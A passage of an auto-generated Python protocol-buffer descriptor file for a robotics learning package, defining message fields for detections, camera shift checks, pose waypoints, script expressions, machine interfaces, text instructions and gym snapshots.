number=3, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='extrinsics', full_name='robotics.learning.reach.DetectionEntry.extrinsics', index=3,
number=4, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='intrinsics', full_name='robotics.learning.reach.DetectionEntry.intrinsics', index=4,
number=5, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='april_group', full_name='robotics.learning.reach.DetectionEntry.april_group', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='type_specific_info', full_name='robotics.learning.reach.DetectionEntry.type_specific_info',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=24554,
serialized_end=24784,
)
_DETECTIONKEY = _descriptor.Descriptor(
name='DetectionKey',
full_name='robotics.learning.reach.DetectionKey',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='id', full_name='robotics.learning.reach.DetectionKey.id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0132\002IDb\005py_id', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.DetectionKey.type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24786,
serialized_end=24862,
)
_SHIFTPERDETECTION = _descriptor.Descriptor(
name='ShiftPerDetection',
full_name='robotics.learning.reach.ShiftPerDetection',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='detection_key', full_name='robotics.learning.reach.ShiftPerDetection.detection_key', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='shift_type', full_name='robotics.learning.reach.ShiftPerDetection.shift_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='shift_amount', full_name='robotics.learning.reach.ShiftPerDetection.shift_amount', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='is_object_detected', full_name='robotics.learning.reach.ShiftPerDetection.is_object_detected', index=3,
number=4, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24865,
serialized_end=25016,
)
_CAMERASHIFTDETECTION = _descriptor.Descriptor(
name='CameraShiftDetection',
full_name='robotics.learning.reach.CameraShiftDetection',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='max_shift', full_name='robotics.learning.reach.CameraShiftDetection.max_shift', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='max_shift_object', full_name='robotics.learning.reach.CameraShiftDetection.max_shift_object', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='shifts_per_detection', full_name='robotics.learning.reach.CameraShiftDetection.shifts_per_detection', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25019,
serialized_end=25199,
)
_MOVEPOSEPATHARGS = _descriptor.Descriptor(
name='MovePosePathArgs',
full_name='robotics.learning.reach.MovePosePathArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='waypoints', full_name='robotics.learning.reach.MovePosePathArgs.waypoints', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25201,
serialized_end=25285,
)
_MOVEPOSEWAYPOINTARGS = _descriptor.Descriptor(
name='MovePoseWaypointArgs',
full_name='robotics.learning.reach.MovePoseWaypointArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='translation', full_name='robotics.learning.reach.MovePoseWaypointArgs.translation', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='rotation', full_name='robotics.learning.reach.MovePoseWaypointArgs.rotation', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0162\014RotationRads', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='linear', full_name='robotics.learning.reach.MovePoseWaypointArgs.linear', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='blend_radius', full_name='robotics.learning.reach.MovePoseWaypointArgs.blend_radius', index=3,
number=4, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0252\021BlendRadiusMeters8\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='velocity', full_name='robotics.learning.reach.MovePoseWaypointArgs.velocity', index=4,
number=5, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='acceleration', full_name='robotics.learning.reach.MovePoseWaypointArgs.acceleration', index=5,
number=6, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='limits', full_name='robotics.learning.reach.MovePoseWaypointArgs.limits', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25288,
serialized_end=25591,
)
_WAITARGS = _descriptor.Descriptor(
name='WaitArgs',
full_name='robotics.learning.reach.WaitArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='timeout_seconds', full_name='robotics.learning.reach.WaitArgs.timeout_seconds', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='timeout_action', full_name='robotics.learning.reach.WaitArgs.timeout_action', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='expr', full_name='robotics.learning.reach.WaitArgs.expr', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25594,
serialized_end=25766,
)
_WAITTIMEOUTACTION = _descriptor.Descriptor(
name='WaitTimeoutAction',
full_name='robotics.learning.reach.WaitTimeoutAction',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.WaitTimeoutAction.type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='abort_message', full_name='robotics.learning.reach.WaitTimeoutAction.abort_message', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25768,
serialized_end=25841,
)
_REACHSCRIPTBOOLEANEXPRESSION = _descriptor.Descriptor(
name='ReachScriptBooleanExpression',
full_name='robotics.learning.reach.ReachScriptBooleanExpression',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='op', full_name='robotics.learning.reach.ReachScriptBooleanExpression.op', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='arg1', full_name='robotics.learning.reach.ReachScriptBooleanExpression.arg1', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='arg2', full_name='robotics.learning.reach.ReachScriptBooleanExpression.arg2', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=25844,
serialized_end=26010,
)
_REACHSCRIPTEXPRESSION = _descriptor.Descriptor(
name='ReachScriptExpression',
full_name='robotics.learning.reach.ReachScriptExpression',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='bool_expr', full_name='robotics.learning.reach.ReachScriptExpression.bool_expr', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='var_expr', full_name='robotics.learning.reach.ReachScriptExpression.var_expr', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='const_expr', full_name='robotics.learning.reach.ReachScriptExpression.const_expr', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='arg_oneof', full_name='robotics.learning.reach.ReachScriptExpression.arg_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=26013,
serialized_end=26251,
)
_REACHSCRIPTVAR = _descriptor.Descriptor(
name='ReachScriptVar',
full_name='robotics.learning.reach.ReachScriptVar',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='capability', full_name='robotics.learning.reach.ReachScriptVar.capability', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='var_oneof', full_name='robotics.learning.reach.ReachScriptVar.var_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=26253,
serialized_end=26352,
)
_REACHSCRIPTCONST = _descriptor.Descriptor(
name='ReachScriptConst',
full_name='robotics.learning.reach.ReachScriptConst',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='capability', full_name='robotics.learning.reach.ReachScriptConst.capability', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='bool_value', full_name='robotics.learning.reach.ReachScriptConst.bool_value', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='var_oneof', full_name='robotics.learning.reach.ReachScriptConst.var_oneof',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=26354,
serialized_end=26477,
)
_REACHSCRIPTCAPABILITY = _descriptor.Descriptor(
name='ReachScriptCapability',
full_name='robotics.learning.reach.ReachScriptCapability',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.ReachScriptCapability.type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='name', full_name='robotics.learning.reach.ReachScriptCapability.name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='state', full_name='robotics.learning.reach.ReachScriptCapability.state', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=26479,
serialized_end=26604,
)
_MACHINEINTERFACE = _descriptor.Descriptor(
name='MachineInterface',
full_name='robotics.learning.reach.MachineInterface',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='type', full_name='robotics.learning.reach.MachineInterface.type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\tb\007py_type', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.MachineInterface.device_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.MachineInterface.device_name', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data_type', full_name='robotics.learning.reach.MachineInterface.data_type', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='keys', full_name='robotics.learning.reach.MachineInterface.keys', index=4,
number=6, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='replaces', full_name='robotics.learning.reach.MachineInterface.replaces', index=5,
number=7, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stop_propagation', full_name='robotics.learning.reach.MachineInterface.stop_propagation', index=6,
number=8, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=26607,
serialized_end=26775,
)
_MACHINEDESCRIPTION = _descriptor.Descriptor(
name='MachineDescription',
full_name='robotics.learning.reach.MachineDescription',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='interfaces', full_name='robotics.learning.reach.MachineDescription.interfaces', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=26777,
serialized_end=26860,
)
_PIPELINEDESCRIPTION = _descriptor.Descriptor(
name='PipelineDescription',
full_name='robotics.learning.reach.PipelineDescription',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='descriptions', full_name='robotics.learning.reach.PipelineDescription.descriptions', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=26862,
serialized_end=26950,
)
_MACHINEINTERFACES = _descriptor.Descriptor(
name='MachineInterfaces',
full_name='robotics.learning.reach.MachineInterfaces',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='interfaces', full_name='robotics.learning.reach.MachineInterfaces.interfaces', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=26952,
serialized_end=27034,
)
_TEXTINSTRUCTION = _descriptor.Descriptor(
name='TextInstruction',
full_name='robotics.learning.reach.TextInstruction',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='intent', full_name='robotics.learning.reach.TextInstruction.intent', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='success_type', full_name='robotics.learning.reach.TextInstruction.success_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='success_detection', full_name='robotics.learning.reach.TextInstruction.success_detection', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='instruction', full_name='robotics.learning.reach.TextInstruction.instruction', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='uid', full_name='robotics.learning.reach.TextInstruction.uid', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0052\003UID', json_name='uid', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='supertask_id', full_name='robotics.learning.reach.TextInstruction.supertask_id', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\r2\013SupertaskID', json_name='supertaskID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=27037,
serialized_end=27227,
)
_SNAPSHOT = _descriptor.Descriptor(
name='Snapshot',
full_name='robotics.learning.reach.Snapshot',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='source', full_name='robotics.learning.reach.Snapshot.source', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_data_refs', full_name='robotics.learning.reach.Snapshot.device_data_refs', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='responses', full_name='robotics.learning.reach.Snapshot.responses', index=2,
number=10, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_server_ts', full_name='robotics.learning.reach.Snapshot.gym_server_ts', index=3,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='gymServerTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_env_id', full_name='robotics.learning.reach.Snapshot.gym_env_id', index=4,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\n2\010GymEnvID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_run_id', full_name='robotics.learning.reach.Snapshot.gym_run_id', index=5,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\n2\010GymRunID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_episode', full_name='robotics.learning.reach.Snapshot.gym_episode', index=6,
number=5, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_step', full_name='robotics.learning.reach.Snapshot.gym_step', index=7,
number=6, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gym_reward', full_name='robotics.learning.reach.Snapshot.gym_reward', index=8,
number=7, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
